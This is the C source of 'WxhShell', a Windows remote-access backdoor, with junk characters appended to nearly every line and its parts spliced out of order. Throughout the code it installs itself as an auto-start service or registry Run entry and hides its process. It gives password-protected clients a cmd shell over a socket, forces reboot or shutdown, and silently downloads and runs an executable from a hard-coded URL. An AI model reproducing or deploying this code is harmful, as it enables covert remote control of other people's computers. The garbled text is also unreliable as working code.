  // 关机 D#(L@ {vC  
  case 'd': { K_Gf\x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @y%qQe/g  
    if(Boot(SHUTDOWN)) Gs?sO?j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xc<9[@  
    else { Cf 8 - %  
    closesocket(wsh); J8[Xl.  
    ExitThread(0); dTNgrW`4  
    } ITOGD  
    break; ?7dDQI7^(  
    } RLr-xg$K-t  
  // 获取shell dz DssAHy  
  case 's': { .j,&/y&  
    CmdShell(wsh); /FXfu  
    closesocket(wsh); eS+LFS7*k  
    ExitThread(0); =swcmab;  
    break; Lf<9GYNy>`  
  } $t?e=#G  
  // 退出 e1a%Rj~  
  case 'x': { U%olH >1K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?^0Z(<Arz  
    CloseIt(wsh); j|w+=A1  
    break; 27gm_ *  
    } B)iJH  
  // 离开 &}?e:PEy  
  case 'q': { nhxl#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^u<+tV   
    closesocket(wsh); XP1_{\  
    WSACleanup(); :H 7 "W<  
    exit(1); "d\8OOU  
    break; qdZYaS ~  
        } Ke!O^zP92  
  } D~,R @7  
  } T9.gs}B0  
n*uZ=M_/Q  
  // 提示信息 Melc -[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); suSIz 7:  
} !Hg#c!eOg  
  } yLX\pkAt4  
|0 VP^md  
  return; {,X(fJ  
} sa ?;D  
%stktVDAP  
// shell模块句柄 b /ySt<  
int CmdShell(SOCKET sock) 4j{ }{  
{ AEJm/8,T  
STARTUPINFO si; cPYQ<Y=  
ZeroMemory(&si,sizeof(si)); lUz@Em  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .})8gL7 V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %(6WrE5F6  
PROCESS_INFORMATION ProcessInfo; ]vrs?  
char cmdline[]="cmd"; CSs6Vm!=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :4TcCWG  
  return 0; t~M_NEPxV  
} $P~a   
NI)nf;C  
// 自身启动模式 W525:h52{  
int StartFromService(void) TjdYCk]'  
{ Gz:a1-x  
typedef struct S7*:eo  
{ j.*}W4`Q_  
  DWORD ExitStatus; G_@H:4$3  
  DWORD PebBaseAddress; 04TV. /uA  
  DWORD AffinityMask; 9|,AhyhO  
  DWORD BasePriority; (@9-"W  
  ULONG UniqueProcessId; ,`b9c=6;  
  ULONG InheritedFromUniqueProcessId; #c_ZU\" h"  
}   PROCESS_BASIC_INFORMATION; ,\b5M`<c  
.#}R$}e+  
PROCNTQSIP NtQueryInformationProcess; 7y&`H  
%,BJkNV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t/ w>t! q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :#vrNg(M  
;8UHPDnst  
  HANDLE             hProcess; jw)t"S/E  
  PROCESS_BASIC_INFORMATION pbi; >?tpGEZ\  
4k 8 @u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UF tTt`N2  
  if(NULL == hInst ) return 0; XR(kR{yo  
t1S\M%?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SV >EB;<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n@f@-d$m\<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RY&~{yl$"1  
_'Z@ < ,L  
  if (!NtQueryInformationProcess) return 0; GzX@Av$  
]2+(i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O #"O.GX<  
  if(!hProcess) return 0; $oz ZFvJF  
3$TpI5A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L '=3y$"],  
|ONOF  
  CloseHandle(hProcess); nBd;d}LD  
Cb<\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F/h)azcn  
if(hProcess==NULL) return 0; Z q)A"'Y  
Bs*s8}6  
HMODULE hMod; n$>H}#q  
char procName[255]; O\?ei+(H7  
unsigned long cbNeeded; SrxX-Hir  
9S}PCAA;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ` $}[np |  
'"6VfF)*  
  CloseHandle(hProcess); ^B<jMt  
c8'?Dd  
if(strstr(procName,"services")) return 1; // 以服务启动 ;XjKWM;  
Vr KFpFd  
  return 0; // 注册表启动 K 5AArI  
} =k2"1f~e  
`aM8L  
// 主模块 a;v;%rs  
int StartWxhshell(LPSTR lpCmdLine) nm`}Z'&)  
{  WYW@%t  
  SOCKET wsl; Q oWjC  
BOOL val=TRUE; w/wU~~  
  int port=0; 4EFP*7X  
  struct sockaddr_in door; &!? qSi~V  
}4_c~)9Q  
  if(wscfg.ws_autoins) Install(); D n}TO*  
GE#LcCa  
port=atoi(lpCmdLine); (RLJ_M|;/b  
(*G'~gSX  
if(port<=0) port=wscfg.ws_port; ++CL0S$e  
8]&lUMaqVZ  
  WSADATA data; zf A"xD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IWnyqt(k  
k(wJ6pc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dl_SEf6b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |dqvv  
  door.sin_family = AF_INET; 1A{iUddR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C44*qiG.  
  door.sin_port = htons(port); ^ =RSoR  
O;RNmiVoq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ; Rd\yAG  
closesocket(wsl); 8zH/a   
return 1; UpqDGd7M  
} {ud^+I&  
2"B3Q:0he|  
  if(listen(wsl,2) == INVALID_SOCKET) { ?v Z5 ^k  
closesocket(wsl); n$jf($*  
return 1; V2*m/JyeB  
} 5YgUk[J  
  Wxhshell(wsl); F>rf cW2  
  WSACleanup(); ]|4mD3O  
6N'HXL UlQ  
return 0; }9>X M  
J.pe&1  
} * TR ~>|  
6WEu(}=  
// 以NT服务方式启动 C lzz!v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AK5$>Pkvk  
{ m NApFwZ  
DWORD   status = 0; >Av%[G5=h#  
  DWORD   specificError = 0xfffffff; Tp%4{U/0`  
.E0*lem'hE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c$]NXKcA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zbjj>*2%^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f n'N^  
  serviceStatus.dwWin32ExitCode     = 0; +ywd(Tuzm  
  serviceStatus.dwServiceSpecificExitCode = 0; eE[/#5tK  
  serviceStatus.dwCheckPoint       = 0; ?mW;%d~]  
  serviceStatus.dwWaitHint       = 0; -cnlj  
*!x/ia9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eO=!(  
  if (hServiceStatusHandle==0) return; P%xz"l i  
`-)Fx<e  
status = GetLastError(); o)IcAqN$H  
  if (status!=NO_ERROR) Z|a\rNv  
{ e,Fe,5E&g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /'0,cJnm  
    serviceStatus.dwCheckPoint       = 0; 1~Z Kpvu  
    serviceStatus.dwWaitHint       = 0; ^9I^A!w=  
    serviceStatus.dwWin32ExitCode     = status; _\2^s&iJh  
    serviceStatus.dwServiceSpecificExitCode = specificError; . G ~,h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9C)w'\u9+  
    return; S~4HFNe^&  
  } i*%2 e)  
}V % b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \^%5!  
  serviceStatus.dwCheckPoint       = 0; Y/w) VV  
  serviceStatus.dwWaitHint       = 0; 9 ulr6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P1m PC  
} _G5M Q%z  
yy-\$<j  
// 处理NT服务事件,比如:启动、停止 +qEvz<kch  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #] 5|Qhrr+  
{ WS)u{ or  
switch(fdwControl) y i/jZX  
{ yD!V;?EnK  
case SERVICE_CONTROL_STOP: J#y?^Qm$)<  
  serviceStatus.dwWin32ExitCode = 0; ps6c>AN`A&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "Z6:d"S`  
  serviceStatus.dwCheckPoint   = 0; `?L-{VtM3*  
  serviceStatus.dwWaitHint     = 0; VClw!bm  
  { dc0Ro,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8M;G@ Q80  
  } |_;Vb  
  return; D;Jb' Be  
case SERVICE_CONTROL_PAUSE: Zm@ O[:~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _A .?:'-  
  break; U"v}br -kb  
case SERVICE_CONTROL_CONTINUE: c=p@l<)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W[3)B(Vq<E  
  break; kM\O2 ay  
case SERVICE_CONTROL_INTERROGATE: <ST#< $%  
  break; lYu1m  
}; GX lFS#`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'yM)>]u"  
} mckrR$>  
8}W06k>)%  
// 标准应用程序主函数 :1wMGk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?y{C"w!   
{ N{G+|WmQ  
, eZL&n  
// 获取操作系统版本 @kKmkVhu*  
OsIsNt=GetOsVer(); ; (+r)r_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); oa?eK  
$V)LGu2( m  
  // 从命令行安装 ]4>[y?k34  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7o+!Gts]  
^9UF Pij"  
  // 下载执行文件 HYPFe|t/  
if(wscfg.ws_downexe) { +B@NSEy/+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S!n 9A  
  WinExec(wscfg.ws_filenam,SW_HIDE); )Oz( <vxw  
} K5)G+Id*  
t=]&q.  
if(!OsIsNt) { FZ/l T-"  
// 如果时win9x,隐藏进程并且设置为注册表启动 tH"SOGfSt  
HideProc(); sy` : wp  
StartWxhshell(lpCmdLine); #7U,kTj9  
} (K+TqJw  
else K,}"v ;||  
  if(StartFromService()) sHrpBm&O4  
  // 以服务方式启动 (;a O%  
  StartServiceCtrlDispatcher(DispatchTable); Tf"DpA!_  
else >M^ 1m(  
  // 普通方式启动 [lA[w Cw  
  StartWxhshell(lpCmdLine); z[S,hD\w  
j#U?'g  
return 0; Y(SgfWeK@1  
} c+G: bb%p  
685o1c|  
38Z"9  
"=<l Pi  
=========================================== BQB O]<99  
h ;5 -X7  
+c\s%Gzrh  
vd /_`l.D  
KX)xCR~  
r[Q$w>  
" 3_T'TzQ u  
2>O2#53ls0  
#include <stdio.h> =,[46 ;q  
#include <string.h> 6EK+]0  
#include <windows.h> 6DJ,/J2F  
#include <winsock2.h> 0 \LkJ*i  
#include <winsvc.h> =pcj{B{qa  
#include <urlmon.h> >Fld7;L?<  
Mn~A;=%qF  
#pragma comment (lib, "Ws2_32.lib") !nj%n  
#pragma comment (lib, "urlmon.lib") \MtiLaI"  
~~zw[#'  
#define MAX_USER   100 // 最大客户端连接数 !qcu-d5b  
#define BUF_SOCK   200 // sock buffer $hSu~}g  
#define KEY_BUFF   255 // 输入 buffer |k/;.  
]QT0sGl  
#define REBOOT     0   // 重启 ;*W]]4fy  
#define SHUTDOWN   1   // 关机 \-s) D#Y;r  
R~ w(]  
#define DEF_PORT   5000 // 监听端口 [l#WS  
B@zJ\Ir[  
#define REG_LEN     16   // 注册表键长度 R[&lk~a{=  
#define SVC_LEN     80   // NT服务名长度 }h_Op7.5D  
@?B=8VHR  
// 从dll定义API EkSTN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lf0Hz")  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y-n\;d>[(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }aNiO85  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 38q@4U=aiw  
DhZtiqL#_  
// wxhshell配置信息 j|`{ 1`'  
struct WSCFG { 4nl>&AV  
  int ws_port;         // 监听端口 z}bnw2d]  
  char ws_passstr[REG_LEN]; // 口令 Xb^\{s?b  
  int ws_autoins;       // 安装标记, 1=yes 0=no _f3A6ER`  
  char ws_regname[REG_LEN]; // 注册表键名 M2@q{RiS  
  char ws_svcname[REG_LEN]; // 服务名 b=|&0B$E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |}M']Vz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M?cKt.t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K%=n \ Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }=;>T)QmMO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R\.huOJh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 doR'=@ W  
(v  4  
}; mLk Z4OZ  
z)VIbEy  
// default Wxhshell configuration "]_|c\98  
struct WSCFG wscfg={DEF_PORT, -/gS s<"  
    "xuhuanlingzhe", |O4A+S  
    1, .@6]_h;  
    "Wxhshell", +cV!=gDT  
    "Wxhshell", (J$A  
            "WxhShell Service", K<]fElh-  
    "Wrsky Windows CmdShell Service", T![K i  
    "Please Input Your Password: ", .897Z|$VB  
  1, xu:m~8%  
  "http://www.wrsky.com/wxhshell.exe", g Go  
  "Wxhshell.exe" rp'fli?0e  
    }; tt^ze|*&t  
f]'@Vt>  
// 消息定义模块 34oL l#q*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <Y orQ>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 44W3U~1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -8tA~;p  
char *msg_ws_ext="\n\rExit."; T?\CAk>  
char *msg_ws_end="\n\rQuit."; Q"Ec7C5eM  
char *msg_ws_boot="\n\rReboot..."; 9iFe^^<ss  
char *msg_ws_poff="\n\rShutdown..."; H~ZSw7!M8  
char *msg_ws_down="\n\rSave to "; (j~V  
9#iDrZW  
char *msg_ws_err="\n\rErr!"; R82Y&s;  
char *msg_ws_ok="\n\rOK!"; } )e`0)  
oba*w;  
char ExeFile[MAX_PATH]; jO,<7FPs5  
int nUser = 0; aydal 9M  
HANDLE handles[MAX_USER]; GBphab|  
int OsIsNt; eYcx+BJ  
I)Lb"  
SERVICE_STATUS       serviceStatus; 7k\7G=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lXPn]iLJ  
4 P;O8KA5y  
// 函数声明 b {I`$E<[  
int Install(void); ?:FotnU*p  
int Uninstall(void); Hxl,U>za#  
int DownloadFile(char *sURL, SOCKET wsh); *(`.h\+  
int Boot(int flag); AfEEYP)N  
void HideProc(void); +z D'r5  
int GetOsVer(void); x5|v# -F ^  
int Wxhshell(SOCKET wsl); ;Bb5KD  
void TalkWithClient(void *cs); vUK>4^{J5  
int CmdShell(SOCKET sock); <kSaSW  
int StartFromService(void); h]Oplp4 \W  
int StartWxhshell(LPSTR lpCmdLine); w3w*"M  
gr?pvf!I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ RI^wZ-;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'sF563kE  
d>`(.qvxR  
// 数据结构和表定义 if}]8  
SERVICE_TABLE_ENTRY DispatchTable[] = AY;+Ws  
{ v 2GhR*  
{wscfg.ws_svcname, NTServiceMain}, O<h#|g1  
{NULL, NULL} `az`?`i7  
}; cA%U  
Zd(d]M_x  
// 自我安装 ^d9raYE`'  
int Install(void) gkz#kiGF  
{ LgNNtZ&F  
  char svExeFile[MAX_PATH]; 4:@|q:DR  
  HKEY key; "r V4[MVxt  
  strcpy(svExeFile,ExeFile); 0w['jh|,  
z= p  
// 如果是win9x系统,修改注册表设为自启动 4LjSDgA  
if(!OsIsNt) { oPy zk7{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]R{"=H'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mdrv/x{  
  RegCloseKey(key); M=WE^v!b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #P-HV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X{xJ*T y'  
  RegCloseKey(key); ~|9LWp_  
  return 0; #Q@6:bBzv  
    } XC1lo4|  
  } erP>P  
} w)eQ'6Vu  
else { )t0b$<%  
ptv 4v[gQ  
// 如果是NT以上系统,安装为系统服务 y+scJ+<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E E|zY%  
if (schSCManager!=0) 1:!rw,Jzl`  
{ R$fIb}PDr  
  SC_HANDLE schService = CreateService T+nC>}*jgJ  
  ( 0o|,& K  
  schSCManager, _A|\.(t  
  wscfg.ws_svcname, g$"eI/o  
  wscfg.ws_svcdisp, S.)7u6/_!  
  SERVICE_ALL_ACCESS, N&ql(#r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IVzA>Vd  
  SERVICE_AUTO_START, j& o+KV  
  SERVICE_ERROR_NORMAL, tN3 {7'\7  
  svExeFile, wmr%h q  
  NULL, b2=Q~=Wc  
  NULL, +Jka:]MW!  
  NULL, px>> ]>ZMH  
  NULL, U9o*6`"o  
  NULL 7 3z Y^ x  
  ); ,ok J eZ  
  if (schService!=0) C9g~l}=$&  
  { !-RpRRR[Co  
  CloseServiceHandle(schService); gZEA;N:H%<  
  CloseServiceHandle(schSCManager); >jz%bY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6>BDA?  
  strcat(svExeFile,wscfg.ws_svcname); 01c/;B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UeQ9G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zc3:9   
  RegCloseKey(key); `;qv}  
  return 0; ) .-(-6=R  
    } #or oY.o  
  } ]t*P5  
  CloseServiceHandle(schSCManager); WUWb5xA  
} :IT U0%;!+  
} eN<pU%7  
{.D2ON  
return 1; %c&A h  
} PDq}Tq  
v*'iWHCl,  
// 自我卸载 1yaIV+_y/  
int Uninstall(void) <#p|z`N  
{ H=o-ScA  
  HKEY key; ;p#Z:6  
K?Xo3W%K  
if(!OsIsNt) { Q"6hD?6.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >,"D9!  
  RegDeleteValue(key,wscfg.ws_regname); [%iUg\'7d  
  RegCloseKey(key); _/]:=_bf_z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X |1_0  
  RegDeleteValue(key,wscfg.ws_regname); ;[OJ-|Q  
  RegCloseKey(key); kJvy<(iG  
  return 0; 22Y!u00D  
  } ]~ #+ b>  
} yrE,,N%I  
} Z}K.^\S9  
else { Ef_F#X0#  
(@WDvgi(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0(hv#C4  
if (schSCManager!=0) H81.p  
{ PK 2Rj%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SZK)q   
  if (schService!=0) K[#v(<)  
  { .e FOfV)  
  if(DeleteService(schService)!=0) { u_p7Mcb  
  CloseServiceHandle(schService); D*XZT{1g  
  CloseServiceHandle(schSCManager); 0[2BY]`Z.  
  return 0; RI5g+Du?  
  } nqurY62Ip  
  CloseServiceHandle(schService); Rg8m4xw  
  } PzMlua  
  CloseServiceHandle(schSCManager); /Oq)3fU e  
} w;yiX<t<  
} Msv*}^>  
_UH/}!nqB  
return 1; bRK CY6  
} r sX$fU8  
+gbX}jF0%  
// 从指定url下载文件 y~== waZw  
int DownloadFile(char *sURL, SOCKET wsh) Nl$gU3kL  
{ +7i7`'9pd  
  HRESULT hr; vgh ^fa!/  
char seps[]= "/"; ;gxN@%}@  
char *token; H9Y2n 0  
char *file; [l8V<*x%S9  
char myURL[MAX_PATH]; K9e~Wl<3  
char myFILE[MAX_PATH];  .6O52E  
>%uAQiU  
strcpy(myURL,sURL); W"b&M%y|  
  token=strtok(myURL,seps); 4 |zdXS  
  while(token!=NULL) {h/OnBwG  
  { =~GE?}.o  
    file=token; kfMhw M8kP  
  token=strtok(NULL,seps); F\-B3i%0  
  } M>*0r<qn  
~w Zl2I  
GetCurrentDirectory(MAX_PATH,myFILE); ]&Y#) ebs  
strcat(myFILE, "\\"); Hv8SYQ|  
strcat(myFILE, file); ,s1&O`  
  send(wsh,myFILE,strlen(myFILE),0); $$haVY&  
send(wsh,"...",3,0); zAeGkP~K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9">zdFC'  
  if(hr==S_OK) fOa6,  
return 0; ,N;))3  
else 'i@,~[Z4  
return 1; zW*}`S "  
+R|U4`12  
} k1ipvKxp:8  
{Oy9RES qc  
// 系统电源模块 JP{UgcaF  
int Boot(int flag) 5SoZ$,a<e  
{ NoFs-GGGh  
  HANDLE hToken; dO>k5!ge|:  
  TOKEN_PRIVILEGES tkp; <Vz<{W3t  
i0k+l  
  if(OsIsNt) { hnp`s%e,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1vB-M6(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eq^TA1>T  
    tkp.PrivilegeCount = 1; vS7/~:C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C>*5=p|T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6-mmi7IfO  
if(flag==REBOOT) { DRH'A!r!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )>(L{y|uYX  
  return 0; gKmX^A5<  
} GE%2/z p  
else { u~" siH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F0@Qgk]\  
  return 0; `@h:_d  
} ;*y|8od B  
  } HH"$#T^-  
  else { g(m xhD!k  
if(flag==REBOOT) { Uh>.v |P6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D+f'*|  
  return 0; ?3`q+[:  
} }ppVR$7]0  
else { kGpV;F==*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RXBb:f  
  return 0; 5d+<EF+N  
} (Up'$J}  
} wDDxj  
H6_xwuw:  
return 1; [#0Yt/G  
} G-arnu)  
Mec{_jiH&D  
// win9x进程隐藏模块 prZ55MS.  
void HideProc(void) Xt ft*Z  
{ aM), M]m[  
1  o|T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \k;U}Te<  
  if ( hKernel != NULL ) jPnO@ H1  
  { [G a~%m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sAVefL?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _F izgs  
    FreeLibrary(hKernel); rR]-RX(  
  } |1"!k A  
2/@D7>F&g  
return; I_?He'=0oU  
} a+41Ojv (  
%w7m\nw@  
// 获取操作系统版本 ?vu_k 'io  
int GetOsVer(void) n>P! u71  
{ azo0{`S?  
  OSVERSIONINFO winfo; NhA#bn9y?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _UkmYZ/  
  GetVersionEx(&winfo); RZO5=L9E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '&by3y5w-3  
  return 1; H?uukmZl  
  else YUscz!rM  
  return 0; J{Tq%\a3  
} 4<.O+hS  
C0fmmI0z~  
// 客户端句柄模块 F}U5d^!2  
int Wxhshell(SOCKET wsl) )47MFNr~>  
{ pUCK-rL  
  SOCKET wsh; -#?<05/C>  
  struct sockaddr_in client; dn,gZ"<  
  DWORD myID; ?z/Vgk+9|  
,+._;[k  
  while(nUser<MAX_USER) 2yKz-"E  
{ s t/n"HQ  
  int nSize=sizeof(client); R#(G%66   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4DLq}v  
  if(wsh==INVALID_SOCKET) return 1; vG Vd  
"+|L_iuNQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s&'BM~WI  
if(handles[nUser]==0) !gH 9ay  
  closesocket(wsh); ~O;y?]U  
else hazq#J!  
  nUser++; @(:v_l  
  } hVP IHQt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n#*`!#  
8$vK5Dnn8  
  return 0; `qiQ$kz  
} gUVn;_  
&Y7C0v  
// 关闭 socket ( 9$"#o  
void CloseIt(SOCKET wsh) 0 mexF@  
{ }rbZ&IN\?E  
closesocket(wsh); e*]r  
nUser--; jtKn3m7 +p  
ExitThread(0); tNnyue{p  
} u+D[_yd^  
h qmSE'8  
// 客户端请求句柄 ^0tw%6:  
void TalkWithClient(void *cs) 8)xt(~qF  
{ &uM^0eM  
]Kde t"+  
  SOCKET wsh=(SOCKET)cs; rt4Z;  
  char pwd[SVC_LEN]; [@"wd_f{l  
  char cmd[KEY_BUFF]; ;(6P6@+o  
char chr[1]; n56;m`IU  
int i,j; @5<CXTdF9c  
[!"XcFY:a  
  while (nUser < MAX_USER) { i0pU!`0  
>V;,#5F_  
if(wscfg.ws_passstr) { {CUk1+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p-$Cs _{Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z1,gtl ?  
  //ZeroMemory(pwd,KEY_BUFF); . (`3JQ2s  
      i=0;  Mm= Mz  
  while(i<SVC_LEN) { {3edTu  
.~klG&>aV  
  // 设置超时 ;D2E_!N dt  
  fd_set FdRead; |4b)>8TL/  
  struct timeval TimeOut; I mym+  
  FD_ZERO(&FdRead); R+=a`0_S  
  FD_SET(wsh,&FdRead); #y; yN7W  
  TimeOut.tv_sec=8; BW Uq%o,@g  
  TimeOut.tv_usec=0; G'#41>q+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g9mG`f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l]#!+@  
c^.l 2Q!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =-jD~rN4;P  
  pwd=chr[0]; N$alUx*  
  if(chr[0]==0xd || chr[0]==0xa) { O/OiQ^T  
  pwd=0; py<_HyJ  
  break; ]=&L_(34  
  } z,f=}t[.Y  
  i++; F $yO  
    } IazkdJX~  
Vk}49O<K/  
  // 如果是非法用户,关闭 socket Z(Q2Ue;}&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \t.}-u<7{  
} TEVI'%F  
XutF"9u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w|Aqqe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uJow7-FD  
m],Ud\  
while(1) { %XRN]tsu  
)]Ti>RO7  
  ZeroMemory(cmd,KEY_BUFF); s#-eN)1R  
t#~?{i@m  
      // 自动支持客户端 telnet标准   F@vbSFv)/  
  j=0; Cmd329AH  
  while(j<KEY_BUFF) { R p.W,)i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eaZQ2  
  cmd[j]=chr[0]; 7 'w0  
  if(chr[0]==0xa || chr[0]==0xd) { Q/^A #l[  
  cmd[j]=0; s ic$uT  
  break; N:BL=} V  
  } Dpqt;8"2L  
  j++; 2(#Ks's?  
    } Dy9\O77>  
<8o(CA\  
  // 下载文件 @LX6hm*}  
  if(strstr(cmd,"http://")) { M]EsS^/X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lrEj/"M  
  if(DownloadFile(cmd,wsh)) \8b6\qF/\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x8N|($1  
  else J !#Zi#8sF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  t@B(+  
  } =xl~][  
